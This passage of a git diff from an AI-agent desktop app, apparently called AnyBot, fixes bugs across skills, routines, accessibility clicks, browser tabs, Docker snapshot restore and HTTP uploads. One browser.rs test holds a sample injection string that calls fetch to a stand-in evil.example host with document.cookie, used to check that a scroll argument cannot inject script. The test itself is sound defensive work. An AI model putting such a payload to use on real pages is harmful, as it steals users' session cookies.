remembered fact (its number or words in it).", "parameters": {"type": "object", "properties": {"what": {"type": "string"}}, "required": ["what"]}}), + json!({"name": "forget", "description": "Forget a remembered fact: give the fact's own words (or words in it).", "parameters": {"type": "object", "properties": {"what": {"type": "string"}}, "required": ["what"]}}), json!({"name": "save_skill", "description": "Save a reusable procedure as a skill every bot can use (replaces one with the same name).", "parameters": {"type": "object", "properties": {"name": {"type": "string"}, "description": {"type": "string", "description": "One line: when to use it"}, "instructions": {"type": "string", "description": "The full steps"}}, "required": ["name", "description", "instructions"]}}), json!({"name": "use_skill", "description": "Load a skill's full instructions before doing that kind of task.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}), json!({"name": "delete_skill", "description": "Delete a skill.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}), @@ -305,7 +305,14 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome raw["timezone"] = json!(tz); } match serde_json::from_value::(raw).map_err(|e| e.to_string()).and_then(routines::validate) { - Ok(x) => r.schedule = x, + Ok(x) => { + // 僅一次 counts from when it was set: counted from the day the + // routine was made, its one time was already past and it never ran. + if x.once { + r.created_at = now; + } + r.schedule = x + } Err(e) => return err(format!("排程有問題:{e}")), } } @@ -455,10 +462,9 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome let name = s("name").unwrap_or_default(); let before = state.skills.len(); state.skills.retain(|k| k.name != name.trim()); - // a skill that came from a file goes back to the shelf it came from - let slug: String = name.trim().chars().map(|c| if c.is_alphanumeric() { c.to_ascii_lowercase() } else { '-' }).collect(); - let _ = std::fs::remove_file(crate::memory::skill_dir().join(format!("{}.md", slug.trim_matches('-')))); - if state.skills.len() < before { ok(format!("已刪除技能「{name}」")) } else { err(format!("沒有叫「{name}」的技能")) } + // A skill that came from a file: the file goes too (it is read again at every start). + let files = crate::memory::remove_skill_files(&name); + if state.skills.len() < before || files > 0 { ok(format!("已刪除技能「{name}」")) } else { err(format!("沒有叫「{name}」的技能")) } } "skill_install" => { // P7: a skill is a .md file you can keep in a repo and hand to a friend. @@ -467,19 +473,10 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome return err("要貼技能檔(.md)的網址或檔案路徑".into()); } let text = if src.starts_with("http://") || src.starts_with("https://") { - { - use std::io::Read; - let agent: ureq::Agent = ureq::Agent::config_builder().timeout_global(Some(std::time::Duration::from_secs(20))).http_status_as_error(false).build().into(); - let mut text = String::new(); - match agent.get(&src).call() { - Ok(mut r) => { - if let Err(e) = r.body_mut().as_reader().take(400_000).read_to_string(&mut text) { - return err(format!("技能檔讀不完:{e}")); - } - } - Err(e) => return err(format!("抓不到技能檔:{e}")), - } - text + match crate::web::get_public(&src, 400_000) { + Ok((_, status, _)) if status >= 400 => return err(format!("抓不到技能檔:網站回應 {status}")), + Ok((_, _, text)) => text, + Err(e) => return err(format!("抓不到技能檔:{e}")), } } else { match std::fs::read_to_string(&src) { @@ -684,6 +681,11 @@ mod tests { assert!(b.routines[0].next_run.unwrap() > routines::now()); let id = b.routines[0].id; assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":true}}"#)).text.contains("已暫停")); + // Days later it is changed to 僅一次: its one time is the next one from now (counted from + // the day it was made, that time was long past and the routine never ran). + st.bot_mut(1).unwrap().routines[0].created_at -= 3 * 86400; + assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":false,"schedule":{{"frequency":"daily","time":"09:00","once":true}}}}"#)).ok); + assert!(st.bot(1).unwrap().routines[0].next_run.unwrap() > routines::now()); assert!(needs_approval("delete_routine", &format!(r#"{{"id":{id}}}"#), &st).unwrap().contains("早報")); let w = apply(&mut st, 1, "run_routine_now", &format!(r#"{{"id":{id}}}"#)); assert_eq!(w.wake[0].0, 1); diff --git a/src/attach.rs b/src/attach.rs index c7a5300..b724ed1 100644 --- a/src/attach.rs +++ b/src/attach.rs @@ -30,6 +30,14 @@ fn dir_for(bot_id: u64) -> PathBuf { crate::model::State::path().parent().map(|p| p.to_path_buf()).unwrap_or_else(std::env::temp_dir).join("attachments").join(format!("bot-{bot_id}")) } +/// A file the person gave this bot with a message (the copy kept here): the bot may pass it +/// on, though it sits in AnyBot's own folder, which is otherwise closed to it. +pub fn is_given(bot_id: u64, p: &Path) -> bool { + let dir = dir_for(bot_id); + let real = |p: &Path| std::fs::canonicalize(p).unwrap_or_else(|_| p.to_path_buf()); + p.is_file() && real(p).starts_with(real(&dir)) +} + pub fn is_image_name(name: &str) -> bool { let n = name.to_lowercase(); [".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp", ".heic", ".tif", ".tiff"].iter().any(|e| n.ends_with(e)) @@ -64,6 +72,15 @@ pub fn store_bytes(bot_id: u64, name: &str, bytes: &[u8]) -> Result) -> Result { + let img = image::RgbaImage::from_raw(size[0] as u32, size[1] as u32, rgba).ok_or("貼上的圖片讀不出來")?; + let mut png = std::io::Cursor::new(Vec::new()); + img.write_to(&mut png, image::ImageFormat::Png).map_err(|e| format!("貼上的圖片存不下來:{e}"))?; + store_bytes(bot_id, &format!("貼上的圖片 {}.png", chrono::Local::now().format("%H%M%S")), png.get_ref()) +} + /// A picture on the clipboard (e.g. a screenshot copied with ⌃⇧⌘4) becomes an attachment. pub fn paste_image(bot_id: u64) -> Option { let dir = dir_for(bot_id); diff --git a/src/axwrite.rs b/src/axwrite.rs index 4d4516d..be6bacf 100644 --- a/src/axwrite.rs +++ b/src/axwrite.rs @@ -91,6 +91,15 @@ mod mac { } } + /// An element kept for after the walk. The elements of a children list live only as long + /// as the list, and each list is let go when the walk leaves that level: the one the walk + /// chose was remembered as a bare pointer, and by the time it was pressed (or written to) + /// it had been released — the press went to freed memory. + fn keep(el: CFTypeRef) -> Cf { + unsafe { CFRetain(el) }; + Cf(el) + } + fn cfstr(s: &str) -> Cf { let c = CString::new(s).unwrap_or_default(); Cf(unsafe { CFStringCreateWithCString(std::ptr::null(), c.as_ptr(), UTF8) }) @@ -156,7 +165,7 @@ mod mac { } /// Best (score, depth, element) pressable whose title/description/value matches `want`. - fn find_named(el: CFTypeRef, want: &str, best: &mut (u8, usize, CFTypeRef), seen: &mut usize, depth: usize) { + fn find_named(el: CFTypeRef, want: &str, best: &mut (u8, usize, Option), seen: &mut usize, depth: usize) { if *seen >= MAX_NODES || depth > MAX_DEPTH { return; } @@ -165,7 +174,7 @@ mod mac { let score = ["AXTitle", "AXDescription", "AXValue"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0); // Deeper wins ties: a button inside a group is the thing, not the group. if score > best.0 || (score == best.0 && score > 0 && depth > best.1) { - *best = (score, depth, el); + *best = (score, depth, Some(keep(el))); } } let (_keep, kids) = children(el); @@ -175,7 +184,7 @@ mod mac { } /// Deepest pressable whose frame holds the point; deepest of any role as a second choice. - fn find_at(el: CFTypeRef, x: f64, y: f64, best: &mut (usize, CFTypeRef, bool), seen: &mut usize, depth: usize) { + fn find_at(el: CFTypeRef, x: f64, y: f64, best: &mut (usize, Option, bool), seen: &mut usize, depth: usize) { if *seen >= MAX_NODES || depth > MAX_DEPTH { return; } @@ -183,9 +192,9 @@ mod mac { if let Some((fx, fy, fw, fh)) = frame(el) { if fw > 0.0 && fh > 0.0 && x >= fx && x < fx + fw && y >= fy && y < fy + fh { if pressable(el) && depth >= best.0 { - *best = (depth, el, true); + *best = (depth, Some(keep(el)), true); } else if !best.2 && depth >= best.0 { - *best = (depth, el, false); + *best = (depth, Some(keep(el)), false); } } } @@ -223,37 +232,30 @@ mod mac { /// Press the control named `want` in the app `pid`. Returns the matched title. pub fn press_named(pid: i32, want: &str) -> Result { let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?; - let mut best = (0u8, 0usize, std::ptr::null()); + let mut best = (0u8, 0usize, None); let mut seen = 0; find_named(app.0, want, &mut best, &mut seen, 0); - if best.2.is_null() { + let Some(found) = best.2 else { return Err(format!("輔助使用樹裡沒有可點的「{want}」")); - } - let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(best.2, a)).find(|s| !s.trim().is_empty()).unwrap_or_else(|| want.to_string()); - // Keep the element alive through the press: CFRetain, press, then release. - unsafe { CFRetain(best.2) }; - let r = press(best.2, &role_of(best.2)); - unsafe { CFRelease(best.2) }; - r.map(|_| label) + }; + let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(found.0, a)).find(|s| !s.trim().is_empty()).unwrap_or_else(|| want.to_string()); + press(found.0, &role_of(found.0)).map(|_| label) } /// Press what sits under a screen point, if accessibility can name it. pub fn press_at(pid: i32, x: f64, y: f64) -> Result { let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?; - let mut best = (0usize, std::ptr::null(), false); + let mut best = (0usize, None, false); let mut seen = 0; find_at(app.0, x, y, &mut best, &mut seen, 0); - if best.1.is_null() { + let Some(found) = best.1 else { return Err("那個位置不在任何控件上".into()); - } + }; if !best.2 { return Err("那個位置的控件不接受點按".into()); } - let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(best.1, a)).find(|s| !s.trim().is_empty()).map(|s| format!("「{s}」")).unwrap_or_else(|| "控件".into()); - unsafe { CFRetain(best.1) }; - let r = press(best.1, &role_of(best.1)); - unsafe { CFRelease(best.1) }; - r.map(|_| label) + let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(found.0, a)).find(|s| !s.trim().is_empty()).map(|s| format!("「{s}」")).unwrap_or_else(|| "控件".into()); + press(found.0, &role_of(found.0)).map(|_| label) } /// Set the focused field's text (typing without keystrokes). False = caller types keys. @@ -269,7 +271,7 @@ mod mac { unsafe { AXUIElementSetAttributeValue(focused.0, cfstr("AXValue").0, v.0) == 0 } } /// Deepest AXMenuItem (in any open menu) whose words match `want` best (exact first). - fn find_menu_item(el: CFTypeRef, want: &str, best: &mut (u8, usize, CFTypeRef), seen: &mut usize, depth: usize) { + fn find_menu_item(el: CFTypeRef, want: &str, best: &mut (u8, usize, Option), seen: &mut usize, depth: usize) { if *seen >= MAX_NODES || depth > MAX_DEPTH { return; } @@ -277,7 +279,7 @@ mod mac { if attr_string(el, "AXRole").is_some_and(|r| r == "AXMenuItem" || r == "AXMenuBarItem") { let score = ["AXTitle", "AXDescription"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0); if score > best.0 { - *best = (score, depth, el); + *best = (score, depth, Some(keep(el))); } } let (_keep, kids) = children(el); @@ -303,22 +305,17 @@ mod mac { let names = items.iter().filter_map(|k| attr_string(*k, "AXTitle")).collect::>().join("、"); return Err(format!("選單列裡沒有「{want}」(有:{names})")); } - unsafe { CFRetain(*item) }; - let r = press(*item, "AXMenuBarItem"); - unsafe { CFRelease(*item) }; - r?; + // (`_keep`, the menu bar's own list, is held to the end of this function.) + press(*item, "AXMenuBarItem")?; std::thread::sleep(std::time::Duration::from_millis(350)); for seg in &path[1..] { - let mut best = (0u8, 0usize, std::ptr::null()); + let mut best = (0u8, 0usize, None); let mut seen = 0; find_menu_item(app.0, seg.trim(), &mut best, &mut seen, 0); - if best.2.is_null() { + let Some(found) = best.2 else { return Err(format!("打開的選單裡沒有「{}」(前面已點:{})", seg.trim(), path[..path.len() - 1].join("→"))); - } - unsafe { CFRetain(best.2) }; - let r = press(best.2, "AXMenuItem"); - unsafe { CFRelease(best.2) }; - r?; + }; + press(found.0, "AXMenuItem")?; std::thread::sleep(std::time::Duration::from_millis(250)); } Ok(path.join(" → ")) @@ -331,15 +328,15 @@ mod mac { Some(a) => a, None => return fields.iter().map(|(n, _)| (n.clone(), Err("這個 App 沒有輔助使用介面".into()))).collect(), }; - let mut editables: Vec = Vec::new(); + let mut editables: Vec = Vec::new(); collect_editables(app.0, &mut editables, &mut 0, 0); let mut out = Vec::new(); for (name, value) in fields { let best = editables .iter() .filter_map(|e| { - let s = name_match(&name_of(*e), name); - (s > 0 && is_editable(*e)).then_some((s, *e)) + let s = name_match(&name_of(e.0), name); + (s > 0 && is_editable(e.0)).then_some((s, e.0)) }) .max_by_key(|(s, _)| *s); out.push(match best { @@ -362,12 +359,15 @@ mod mac { ["AXTitle", "AXDescription", "AXPlaceholderValue", "AXHelp"].iter().filter_map(|a| attr_string(el, a)).find(|s| !s.trim().is_empty()).unwrap_or_default() } - fn collect_editables(el: CFTypeRef, out: &mut Vec, seen: &mut usize, depth: usize) { + /// Every field of the app that text can be written into (kept: see `keep`). + fn collect_editables(el: CFTypeRef, out: &mut Vec, seen: &mut usize, depth: usize) { if *seen >= MAX_NODES || depth > MAX_DEPTH { return; } *seen += 1; - out.push(el); + if is_editable(el) { + out.push(keep(el)); + } let (_keep, kids) = children(el); for k in kids { collect_editables(k, out, seen, depth + 1); diff --git a/src/botbrowser.rs b/src/botbrowser.rs index 656c5f4..1f14008 100644 --- a/src/botbrowser.rs +++ b/src/botbrowser.rs @@ -545,13 +545,18 @@ pub fn release(job: &str) -> Vec { /// /// A page that actually went somewhere (http/https) beats a blank one at every step: a browser /// that boots on about:blank (headless Chrome does) must not strand a job on the empty tab. +/// The job's own tab counts as somewhere whenever it is not blank — a file it opened, a +/// chrome:// page: only http counted, so such a tab lost to any web page nobody had, and the +/// job's next step read and clicked in that one. pub fn pick_tab(list: &[Value]) -> Option<&Value> { let me = job(); let id = |t: &Value| t["id"].as_str().unwrap_or("").to_string(); + let url = |t: &Value| t["url"].as_str().unwrap_or("").to_string(); let mine = |t: &Value| !me.is_empty() && owner(&id(t)).as_deref() == Some(me.as_str()); - let live = |t: &Value| t["url"].as_str().unwrap_or("").starts_with("http"); + let live = |t: &Value| url(t).starts_with("http"); + let somewhere = |t: &Value| !url(t).is_empty() && !["about:", "chrome://newtab", "chrome://new-tab-page"].iter().any(|blank| url(t).starts_with(blank)); let free = |t: &Value| !others_tab(&id(t)); - list.iter().find(|t| mine(t) && live(t)).or_else(|| list.iter().find(|t| free(t) && live(t))).or_else(|| list.iter().find(|t| mine(t))).or_else(|| list.iter().find(|t| free(t))) + list.iter().find(|t| mine(t) && somewhere(t)).or_else(|| list.iter().find(|t| free(t) && live(t))).or_else(|| list.iter().find(|t| mine(t))).or_else(|| list.iter().find(|t| free(t))) } /// The open page tabs' ids (none when the browser isn't open; it isn't started for this). @@ -897,6 +902,9 @@ mod tests { // A job's own real page still wins over a stranger's. let mine = vec![serde_json::json!({"type": "page", "id": "theirs", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "mine", "url": "https://mine.example"})]; assert_eq!(as_job("job-y", || { claim("mine"); pick_tab(&mine).map(|t| t["id"].clone()) }), Some("mine".into())); + // The job's own page that is no web page (a file it opened) is still its page. + let file = vec![serde_json::json!({"type": "page", "id": "web", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "report", "url": "file:///tmp/report.html"})]; + assert_eq!(as_job("job-f", || { claim("report"); pick_tab(&file).map(|t| t["id"].clone()) }), Some("report".into())); // All blank: keep the old behaviour (own tab, then any free one). let blanks = vec![serde_json::json!({"type": "page", "id": "b1", "url": "about:blank"}), serde_json::json!({"type": "page", "id": "b2", "url": "about:blank"})]; assert_eq!(as_job("job-z", || { claim("b2"); pick_tab(&blanks).map(|t| t["id"].clone()) }), Some("b2".into())); diff --git a/src/browser.rs b/src/browser.rs index 06e51c8..c0d9fb6 100644 --- a/src/browser.rs +++ b/src/browser.rs @@ -247,6 +247,16 @@ fn changes(before: &(String, String, Vec), after: &(String, String, Vec< // ---------- finding an element ---------- /// The element a bot means: its number, else visible text / label / placeholder. +/// The way browser_scroll goes: up, top, bottom, or (anything else) down. +fn scroll_direction(asked: &str) -> &'static str { + match asked.trim().to_lowercase().as_str() { + "up" => "up", + "top" => "top", + "bottom" => "bottom", + _ => "down", + } +} + fn find_js(r#ref: &str, text: &str) -> String { let rf = serde_json::to_string(r#ref.trim().trim_matches(['[', ']'])).unwrap_or_default(); let tx = serde_json::to_string(text.trim()).unwrap_or_default(); @@ -744,14 +754,17 @@ pub fn run(name: &str, args: &Value) -> Result<(String, Option), String> let after = snapshot(&mut tab); return Ok((format!("已捲到 {what}。\n{}", changes(&before, &after)), None)); } - let js = match s(args, "direction").as_str() { + // One of four words, never the model's own text: it goes into the page's script + // (anything else there ran as script on a page the person is logged in to). + let direction = scroll_direction(&s(args, "direction")); + let js = match direction { "up" => "window.scrollBy(0, -innerHeight * 0.85)", "top" => "window.scrollTo(0, 0)", "bottom" => "window.scrollTo(0, document.documentElement.scrollHeight)", _ => "window.scrollBy(0, innerHeight * 0.85)", }; // Pages that scroll an inner box: scroll the biggest scrollable element too. - tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()", s(args, "direction")))?; + tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{direction}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()"))?; settle_after(&mut tab, &sig, 500, 2500); let after = snapshot(&mut tab); let pos = tab.eval("JSON.stringify([Math.round(scrollY), document.documentElement.scrollHeight, innerHeight])")?; @@ -1083,6 +1096,14 @@ fn table(tab: &mut Tab, args: &Value) -> Result { #[cfg(test)] mod tests { + /// The direction goes into the page's script: only the four words ever do. + #[test] + fn a_scroll_goes_one_of_four_ways() { + use super::scroll_direction; + assert_eq!((scroll_direction("up"), scroll_direction(" Top "), scroll_direction("bottom"), scroll_direction("")), ("up", "top", "bottom", "down")); + assert_eq!(scroll_direction("'; fetch('https://evil.example/?c=' + document.cookie); '"), "down"); + } + #[test] fn the_one_tool_maps_every_action() { let mut c = |args: &str| { diff --git a/src/cloudbox.rs b/src/cloudbox.rs index baa5591..4e1e87b 100644 --- a/src/cloudbox.rs +++ b/src/cloudbox.rs @@ -1063,10 +1063,14 @@ pub fn ensure_running() -> Result<(), String> { Run::NoDocker(e) => Err(e), Run::Absent => { set_run(Run::Starting("建立中")); + // Asked before the box is made: Docker fills a new volume with the image's own + // home (.bashrc, .profile…), so a new home never looked empty afterwards and the + // saved one was never put back. + let new_home = !home_volume_exists(); create_container().and_then(|_| { // A brand-new box on an empty volume (a wiped Docker, a new host): the saved // home brings the files and every bot's logins back by themselves. - if snapshot_path().exists() && !home_has_files() { + if snapshot_path().exists() && (new_home || !home_has_files()) { log("新的電腦家目錄是空的:從最近的快照還原檔案和登入…"); let src = snapshot_path(); if let Err(e) = copy_in_snapshot(&src) { @@ -1325,6 +1329,30 @@ fn copy_in_snapshot(src: &std::path::Path) -> Result<(), String> { Err("還原沒有完成:copy-in outcome=unknown".into()) } +/// The home volume is there already (false also when Docker can't be asked: making the box +/// fails then, and nothing is restored). +fn home_volume_exists() -> bool { + dk(&["volume", "inspect", "-f", "{{.Name}}", volume()]).is_ok() +} + +/// A saved snapshot can be read to its end (a whole gzip stream with something in it). Asked +/// before the home it is to replace is thrown away. +fn snapshot_whole(src: &std::path::Path) -> Result<(), String> { + let file = std::fs::File::open(src).map_err(|e| format!("打不開快照:{e}"))?; + let mut gz = flate2::read::GzDecoder::new(std::io::BufReader::new(file)); + match std::io::copy(&mut gz, &mut std::io::sink()) { + Ok(0) => Err("快照是空的".into()), + Ok(_) => Ok(()), + Err(e) => Err(format!("快照壞了,讀不到最後:{e}")), + } +} + +/// Throw the home volume away. Said when it can't be (another container still holds it): the +/// step after it would otherwise call old files a new computer. +fn remove_home_volume() -> Result<(), String> { + dk(&["volume", "rm", "-f", volume()]).map(|_| ()).map_err(|e| format!("清不掉電腦裡的資料({})。原本的檔案都還在,沒有動到。", tail(&e, 200))) +} + fn home_has_files() -> bool { dk(&["exec", container(), "sh", "-c", &format!("ls -A {HOME} | head -1")]).map(|s| !s.trim().is_empty()).unwrap_or(false) } @@ -1458,7 +1486,7 @@ fn run_rebuild(kind: Rebuild, phase: &dyn Fn(&str, &str)) -> Result<(), String> let _ = dk(&["rm", "-f", container()]); let _ = dk(&["rm", "-f", &holder_name()]); phase("wiping", "清除電腦裡的資料"); - let _ = dk(&["volume", "rm", "-f", volume()]); + remove_home_volume()?; phase("creating", "開一台全新的電腦"); if !image_exists() { build_image(false)?; @@ -1474,10 +1502,15 @@ fn run_rebuild(kind: Rebuild, phase: &dyn Fn(&str, &str)) -> Result<(), String> phase("backing-up", "復原前:先存下現在的電腦"); save_snapshot().map_err(|e| format!("復原取消了:存不下現在的狀態({e})。先處理好這個,最近的變更才不會無聲消失。"))?; } + // The snapshot is read through before anything is thrown away: the home was + // wiped first and the snapshot opened last, so one that couldn't be read (gone, + // cut short) left a computer with neither. + phase("backing-up", "確認快照讀得出來"); + snapshot_whole(&src).map_err(|e| format!("復原取消了:{e}。電腦沒有動到。"))?; phase("cleaning-up", "拆掉舊的電腦和它的資料"); let _ = dk(&["rm", "-f", container()]); let _ = dk(&["rm", "-f", &holder_name()]); - let _ = dk(&["volume", "rm", "-f", volume()]); + remove_home_volume()?; phase("creating", "從快照開一台新的電腦"); if !image_exists() { build_image(false)?; @@ -2392,6 +2425,27 @@ pub fn shutdown() { mod tests { use super::*; + /// 復原 reads the snapshot through before it throws the home away: one cut short, empty or + /// gone is refused while the computer is still whole. + #[test] + fn a_snapshot_is_read_through_before_the_home_goes() { + use std::io::Write; + let dir = std::env::temp_dir().join(format!("anybot-snapshot-whole-{}", std::process::id())); + let _ = std::fs::create_dir_all(&dir); + let mut gz = flate2::write::GzEncoder::new(vec![], flate2::Compression::default()); + gz.write_all(&vec![7u8; 200_000]).unwrap(); + let whole = gz.finish().unwrap(); + let file = dir.join("snapshot.tar.gz"); + std::fs::write(&file, &whole).unwrap(); + assert!(snapshot_whole(&file).is_ok()); + std::fs::write(&file, &whole[..whole.len() / 2]).unwrap(); + assert!(snapshot_whole(&file).unwrap_err().contains("讀不到最後")); + std::fs::write(&file, b"").unwrap(); + assert!(snapshot_whole(&file).is_err()); + assert!(snapshot_whole(&dir.join("none.tar.gz")).unwrap_err().contains("打不開")); + let _ = std::fs::remove_dir_all(&dir); + } + #[test] fn typing_replaces_a_one_line_field_however_it_is_named() { let none = serde_json::json!({}); diff --git a/src/computer.rs b/src/computer.rs index ad530f3..595104b 100644 --- a/src/computer.rs +++ b/src/computer.rs @@ -1358,8 +1358,10 @@ fn run_inner(name: &str, v: &Value) -> Result<(String, Option), String> crate::marks::names_to_numbers(&mut named, spots.as_ref())?; } let v = &named; - if !cfg!(any(target_os = "macos", target_os = "linux")) { - return Err("操作畫面只支援 macOS 和 Linux".into()); + // (Windows was still turned away here after it got its hands — win.rs — so nothing in + // that file could ever run.) + if !cfg!(any(target_os = "macos", target_os = "linux", target_os = "windows")) { + return Err("操作畫面只支援 macOS、Linux 和 Windows".into()); } if name == "computer_use_wait_for" { return Ok((wait_for_tool(v)?, None)); @@ -1496,7 +1498,7 @@ pub fn demo_supported() -> bool { } } -/// This system's screen can be seen and used (macOS; Linux on X11 or Wayland). +/// This system's screen can be seen and used (macOS; Windows; Linux on X11 or Wayland). pub fn screen_supported() -> bool { #[cfg(target_os = "linux")] { @@ -1504,7 +1506,7 @@ pub fn screen_supported() -> bool { } #[cfg(not(target_os = "linux"))] { - cfg!(target_os = "macos") + cfg!(any(target_os = "macos", target_os = "windows")) } } diff --git a/src/httpd.rs b/src/httpd.rs index 74ec233..9cf1c0c 100644 --- a/src/httpd.rs +++ b/src/httpd.rs @@ -221,8 +221,10 @@ pub fn read_request(c: &mut TcpStream) -> Result { } while body.len() < len { let n = c.read(&mut buf).map_err(|_| 400u16)?; + // The connection ended before the whole body came: not a request. (Half a body + // used to be handed on as the request: half an upload, saved over the whole one.) if n == 0 { - break; + return Err(400); } body.extend_from_slice(&buf[..n]); } @@ -512,4 +514,27 @@ mod tests { assert_eq!(v["n"], 100_000); assert_eq!(v["p"], "/a/b"); } + + /// An upload cut off on the way is no request (it used to be answered as a whole one). + #[test] + fn half_a_body_is_not_a_request() { + use std::io::Write; + let l = TcpListener::bind("127.0.0.1:0").unwrap(); + let port = l.local_addr().unwrap().port(); + let send = move |bytes: &'static [u8]| { + std::thread::spawn(move || { + let mut c = TcpStream::connect(("127.0.0.1", port)).unwrap(); + c.write_all(bytes).unwrap(); + // (Closed here, before the rest of the body.) + }) + }; + let t = send(b"POST /backup HTTP/1.1\r\nContent-Length: 10\r\n\r\nabc"); + let (mut c, _) = l.accept().unwrap(); + assert_eq!(read_request(&mut c).err(), Some(400)); + t.join().unwrap(); + let t = send(b"POST /backup HTTP/1.1\r\nContent-Length: 10\r\n\r\n0123456789"); + let (mut c, _) = l.accept().unwrap(); + assert_eq!(read_request(&mut c).map(|r| r.body).ok(), Some(b"0123456789".to_vec())); + t.join().unwrap(); + } } diff --git a/src/intents.rs b/src/intents.rs index 6caef13..eb7b059 100644 --- a/src/intents.rs +++ b/src/intents.rs @@ -102,39 +102,42 @@ pub fn script(name: &str, arg: &str) -> Result { return Err(format!("沒有捷徑「{name}」。")); } let a = arg.trim(); - let mac = |s: &str| format!("case \"$(uname -s)\" in Darwin) {s} ;; Linux) "); + // One script for both systems: `case` picks the branch on the machine that runs it. (The + // Mac command used to land in the Linux branch and the Linux one after it as a stray + // pattern, with a `)` left over: every shortcut was a syntax error on every machine.) + let on = |mac: &str, linux: &str| format!("case \"$(uname -s)\" in Darwin) {mac} ;; Linux) {linux} ;; esac"); Ok(match (name, a) { - ("volume", "up") => format!( - "{}osascript -e 'set u to (output volume of (get volume settings)) + 15' -e 'if u > 100 then set u to 100' -e 'set volume output volume u' ;; pactl set-sink-volume @DEFAULT_SINK@ +15% 2>/dev/null || amixer -q sset Master 15%+ ;; esac)", - mac("") + ("volume", "up") => on( + "osascript -e 'set u to (output volume of (get volume settings)) + 15' -e 'if u > 100 then set u to 100' -e 'set volume output volume u'", + "pactl set-sink-volume @DEFAULT_SINK@ +15% 2>/dev/null || amixer -q sset Master 15%+", ), - ("volume", "down") => format!( - "{}osascript -e 'set u to (output volume of (get volume settings)) - 15' -e 'if u < 0 then set u to 0' -e 'set volume output volume u' ;; pactl set-sink-volume @DEFAULT_SINK@ -15% 2>/dev/null || amixer -q sset Master 15%- ;; esac)", - mac("") + ("volume", "down") => on( + "osascript -e 'set u to (output volume of (get volume settings)) - 15' -e 'if u < 0 then set u to 0' -e 'set volume output volume u'", + "pactl set-sink-volume @DEFAULT_SINK@ -15% 2>/dev/null || amixer -q sset Master 15%-", ), - ("volume", "mute") => format!( - "{}osascript -e 'set m to muted of (get volume settings)' -e 'set volume output muted (not m)' ;; pactl set-sink-mute @DEFAULT_SINK@ toggle 2>/dev/null || amixer -q sset Master toggle ;; esac)", - mac("") + ("volume", "mute") => on( + "osascript -e 'set m to muted of (get volume settings)' -e 'set volume output muted (not m)'", + "pactl set-sink-mute @DEFAULT_SINK@ toggle 2>/dev/null || amixer -q sset Master toggle", ), - ("volume", "unmute") => format!("{}osascript -e 'set volume output muted false' ;; pactl set-sink-mute @DEFAULT_SINK@ 0 2>/dev/null || amixer -q sset Master unmute ;; esac)", mac("")), + ("volume", "unmute") => on("osascript -e 'set volume output muted false'", "pactl set-sink-mute @DEFAULT_SINK@ 0 2>/dev/null || amixer -q sset Master unmute"), ("volume", set) => { // "set 40" as the facts line teaches; a bare "40" is kindly taken too. let Some(n) = is_num(set.strip_prefix("set ").unwrap_or(set).trim()) else { return Err("volume 的 arg 要写成 set 0-100(如 set 40)或 up/down/mute/unmute。".into()); }; - format!("{}osascript -e 'set volume output volume {n}' ;; pactl set-sink-volume @DEFAULT_SINK@ {n}% 2>/dev/null || amixer -q sset Master {n}% ;; esac)", mac("")) + on(&format!("osascript -e 'set volume output volume {n}'"), &format!("pactl set-sink-volume @DEFAULT_SINK@ {n}% 2>/dev/null || amixer -q sset Master {n}%")) } - ("wifi", "on") => format!("{}networksetup -setairportpower en0 on ;; nmcli radio wifi on 2>/dev/null || rfkill unblock wifi ;; esac)", mac("")), - ("wifi", "off") => format!("{}networksetup -setairportpower en0 off ;; nmcli radio wifi off 2>/dev/null || rfkill block wifi ;; esac)", mac("")), - ("lock", "") => format!("{}pmset displaysleepnow ;; loginctl lock-session 2>/dev/null || xset dpms force off ;; esac)", mac("")), - ("dark", "dark") => format!("{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to true' ;; gsettings set org.gnome.desktop.interface color-scheme prefer-dark ;; esac)", mac("")), - ("dark", "light") => format!("{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to false' ;; gsettings set org.gnome.desktop.interface color-scheme prefer-light ;; esac)", mac("")), - ("dark", "toggle") => format!( - "{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to not (dark mode)' ;; gsettings set org.gnome.desktop.interface color-scheme \"$( [ \"$(gsettings get org.gnome.desktop.interface color-scheme)\" = \"'prefer-dark'\" ] && echo prefer-light || echo prefer-dark )\" ;; esac)", - mac("") + ("wifi", "on") => on("networksetup -setairportpower en0 on", "nmcli radio wifi on 2>/dev/null || rfkill unblock wifi"), 